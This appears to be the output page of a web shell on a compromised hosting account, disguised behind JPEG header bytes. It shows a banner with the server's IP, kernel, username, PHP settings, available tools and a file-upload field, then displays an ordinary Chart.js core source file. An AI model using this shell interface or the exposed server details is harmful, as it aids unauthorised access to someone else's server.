����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.148.217.26 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/ideyshare.name.ng/ner2/ucloud/app/assets/admin/vendors/Chart.js/src/core/ |
Upload File : |
"use strict"; module.exports = function() { //Occupy the global variable of Chart, and create a simple base class var Chart = function(context, config) { this.config = config; // Support a jQuery'd canvas element if (context.length && context[0].getContext) { context = context[0]; } // Support a canvas domnode if (context.getContext) { context = context.getContext("2d"); } this.ctx = context; this.canvas = context.canvas; // Figure out what the size of the chart will be. // If the canvas has a specified width and height, we use those else // we look to see if the canvas node has a CSS width and height. // If there is still no height, fill the parent container this.width = context.canvas.width || parseInt(Chart.helpers.getStyle(context.canvas, 'width')) || Chart.helpers.getMaximumWidth(context.canvas); this.height = context.canvas.height || parseInt(Chart.helpers.getStyle(context.canvas, 'height')) || Chart.helpers.getMaximumHeight(context.canvas); this.aspectRatio = this.width / this.height; if (isNaN(this.aspectRatio) || isFinite(this.aspectRatio) === false) { // If the canvas has no size, try and figure out what the aspect ratio will be. // Some charts prefer square canvases (pie, radar, etc). If that is specified, use that // else use the canvas default ratio of 2 this.aspectRatio = config.aspectRatio !== undefined ? config.aspectRatio : 2; } // Store the original style of the element so we can set it back this.originalCanvasStyleWidth = context.canvas.style.width; this.originalCanvasStyleHeight = context.canvas.style.height; // High pixel density displays - multiply the size of the canvas height/width by the device pixel ratio, then scale. Chart.helpers.retinaScale(this); if (config) { this.controller = new Chart.Controller(this); } // Always bind this so that if the responsive state changes we still work var _this = this; Chart.helpers.addResizeListener(context.canvas.parentNode, function() { if (_this.controller && _this.controller.config.options.responsive) { _this.controller.resize(); } }); return this.controller ? this.controller : this; }; //Globally expose the defaults to allow for user updating/changing Chart.defaults = { global: { responsive: true, responsiveAnimationDuration: 0, maintainAspectRatio: true, events: ["mousemove", "mouseout", "click", "touchstart", "touchmove"], hover: { onHover: null, mode: 'single', animationDuration: 400 }, onClick: null, defaultColor: 'rgba(0,0,0,0.1)', defaultFontColor: '#666', defaultFontFamily: "'Helvetica Neue', 'Helvetica', 'Arial', sans-serif", defaultFontSize: 12, defaultFontStyle: 'normal', showLines: true, // Element defaults defined in element extensions elements: {}, // Legend callback string legendCallback: function(chart) { var text = []; text.push('<ul class="' + chart.id + '-legend">'); for (var i = 0; i < chart.data.datasets.length; i++) { text.push('<li><span style="background-color:' + chart.data.datasets[i].backgroundColor + '"></span>'); if (chart.data.datasets[i].label) { text.push(chart.data.datasets[i].label); } text.push('</li>'); } text.push('</ul>'); return text.join(""); } } }; return Chart; };